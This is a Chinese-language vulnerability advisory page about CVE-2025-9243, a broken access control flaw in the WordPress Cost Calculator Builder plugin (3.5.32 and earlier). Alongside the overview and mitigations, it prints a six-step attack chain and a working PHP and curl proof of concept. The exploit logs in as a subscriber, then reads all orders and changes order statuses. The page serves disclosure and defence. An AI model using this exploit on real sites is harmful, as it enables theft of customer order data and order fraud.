IPBUF安全漏洞报告
English
CVE-2025-9243 CVSS 8.1 高危

CVE-2025-9243 WordPress Cost Calculator Builder插件权限提升漏洞

披露日期: 2025-10-04

漏洞信息

漏洞编号
CVE-2025-9243
漏洞类型
权限提升/缺失授权检查(Broken Access Control)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Cost Calculator Builder 插件

相关标签

CVE-2025-9243WordPressCost Calculator Builder权限提升Broken Access Control缺失授权检查AJAX漏洞Subscriber权限订单管理高危漏洞

漏洞概述

CVE-2025-9243是WordPress Cost Calculator Builder插件中存在的一个高危安全漏洞,CVSS评分为8.1,属于高危级别。该漏洞于2025年10月4日由WordFence安全团队的研究员[email protected]发现并披露。

Cost Calculator Builder是WordPress上一款广泛使用的费用计算器构建插件,允许网站管理员创建自定义的费用计算表单,广泛应用于电商、服务报价、产品配置等场景。该插件在所有3.5.32及以下版本中,其核心订单管理函数get_cc_orders和update_order_status存在严重的权限验证缺陷,未对调用者的用户权限级别进行充分检查。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N,表明该漏洞可通过网络远程利用,攻击复杂度低,仅需低权限(Subscriber级别及以上)的认证账户即可触发,无需用户交互。攻击成功后,攻击者能够访问订单管理功能并修改订单状态,对数据的机密性和完整性造成严重影响。虽然可用性影响为无,但订单数据的未授权修改可能导致严重的业务影响,包括财务损失、订单欺诈和服务中断等。

该漏洞的修复版本已在WordPress插件仓库中发布,开发者通过添加适当的能力检查(capability check)来确保只有具备相应权限的用户才能调用这些关键函数。建议所有使用该插件的网站管理员立即更新到最新修复版本。

技术细节

该漏洞的根本原因在于Cost Calculator Builder插件中的两个关键AJAX端点(get_cc_orders和update_order_status)缺少适当的能力检查(capability check)。

在WordPress插件开发中,处理AJAX请求时应当通过current_user_can()函数验证当前用户是否具有执行特定操作的权限。然而,该插件在实现这两个订单管理函数时,未能正确实施权限验证机制,导致任何通过认证的用户(包括最低权限的Subscriber订阅者)都可以直接调用这些函数。

漏洞利用过程如下:
1. 攻击者首先需要在目标WordPress网站上注册一个Subscriber级别的账户(许多网站开放了用户注册功能)。
2. 攻击者通过认证获取有效的WordPress nonce值和会话cookie。
3. 攻击者构造针对admin-ajax.php的POST请求,调用wp_ajax_get_cc_orders或wp_ajax_update_order_status动作。
4. 由于缺少能力检查,服务器直接处理该请求并执行相应的订单查询或状态修改操作。
5. 攻击者可以获取所有订单信息或将订单状态修改为任意值(如已完成、已取消等)。

该漏洞的修复通过在相关函数中添加适当的能力检查实现,确保只有具备manage_options或相应自定义权限的管理员才能调用这些关键函数。修复补丁可在WordPress插件仓库的changeset 3371684中查看。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站是否安装并使用了Cost Calculator Builder插件(版本<=3.5.32),并确认网站是否开放用户注册功能。
STEP 2
步骤2:获取低权限账户
攻击者在目标网站注册一个Subscriber级别的账户,或者通过其他方式(如购买、钓鱼)获取一个低权限认证账户。
STEP 3
步骤3:获取认证凭据
攻击者通过WordPress登录接口登录,获取有效的会话cookie和CSRF nonce令牌。
STEP 4
步骤4:构造恶意请求
攻击者构造针对admin-ajax.php的AJAX请求,调用get_cc_orders或update_order_status动作,附带有效的nonce值。
STEP 5
步骤5:执行未授权操作
由于缺少能力检查,服务端直接处理请求。攻击者可获取所有订单信息或修改任意订单的状态(如将未支付订单标记为已完成)。
STEP 6
步骤6:业务影响实现
订单状态被恶意修改后,可能导致财务损失(已发货但未付款)、订单欺诈、服务滥用等严重后果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-9243 PoC - Cost Calculator Builder Broken Access Control * Affected: Cost Calculator Builder <= 3.5.32 * Vulnerability: Missing capability check on get_cc_orders and update_order_status */ // Exploit via WordPress AJAX endpoint // Requires: Authenticated Subscriber-level account $target_url = 'https://target-wordpress-site.com'; $username = 'subscriber_user'; $password = 'user_password'; // Step 1: Login to obtain authentication cookies and nonce $login_url = $target_url . '/wp-login.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => '1' ])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); // Step 2: Fetch a valid nonce from admin page (or use AJAX nonce) $admin_page = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce'; curl_setopt($ch, CURLOPT_URL, $admin_page); curl_setopt($ch, CURLOPT_HTTPGET, true); $nonce = trim(curl_exec($ch)); // Step 3: Exploit - Call get_cc_orders (unauthorized order access) $ajax_url = $target_url . '/wp-admin/admin-ajax.php'; curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'get_cc_orders', 'nonce' => $nonce ])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); echo "[+] Fetching orders (should be admin-only):\n"; echo curl_exec($ch) . "\n"; // Step 4: Exploit - Call update_order_status (unauthorized status modification) curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'update_order_status', 'order_id'=> '1', 'status' => 'completed', // Change to any status: pending, processing, completed, cancelled 'nonce' => $nonce ])); echo "[+] Modifying order status (should be admin-only):\n"; echo curl_exec($ch) . "\n"; curl_close($ch); ?> # Alternative: curl command-line exploitation # Step 1: Login and store cookies curl -c cookies.txt -b cookies.txt \ -d "log=subscriber_user&pwd=password&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1" \ https://target-wordpress-site.com/wp-login.php # Step 2: Get nonce NONCE=$(curl -b cookies.txt -s https://target-wordpress-site.com/wp-admin/admin-ajax.php?action=rest-nonce) # Step 3: Exploit get_cc_orders curl -b cookies.txt -d "action=get_cc_orders&nonce=$NONCE" \ https://target-wordpress-site.com/wp-admin/admin-ajax.php # Step 4: Exploit update_order_status curl -b cookies.txt -d "action=update_order_status&order_id=1&status=completed&nonce=$NONCE" \ https://target-wordpress-site.com/wp-admin/admin-ajax.php

影响范围

WordPress Cost Calculator Builder < 3.5.32
WordPress Cost Calculator Builder <= 3.5.32

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过WordPress后台暂时停用Cost Calculator Builder插件;2)在functions.php中添加代码禁用相关AJAX动作,阻止低权限用户调用get_cc_orders和update_order_status;3)通过.htaccess或Nginx配置限制admin-ajax.php对特定IP地址的访问;4)部署WAF规则,拦截针对该漏洞的恶意请求;5)暂停网站用户注册功能,防止攻击者获取新的低权限账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表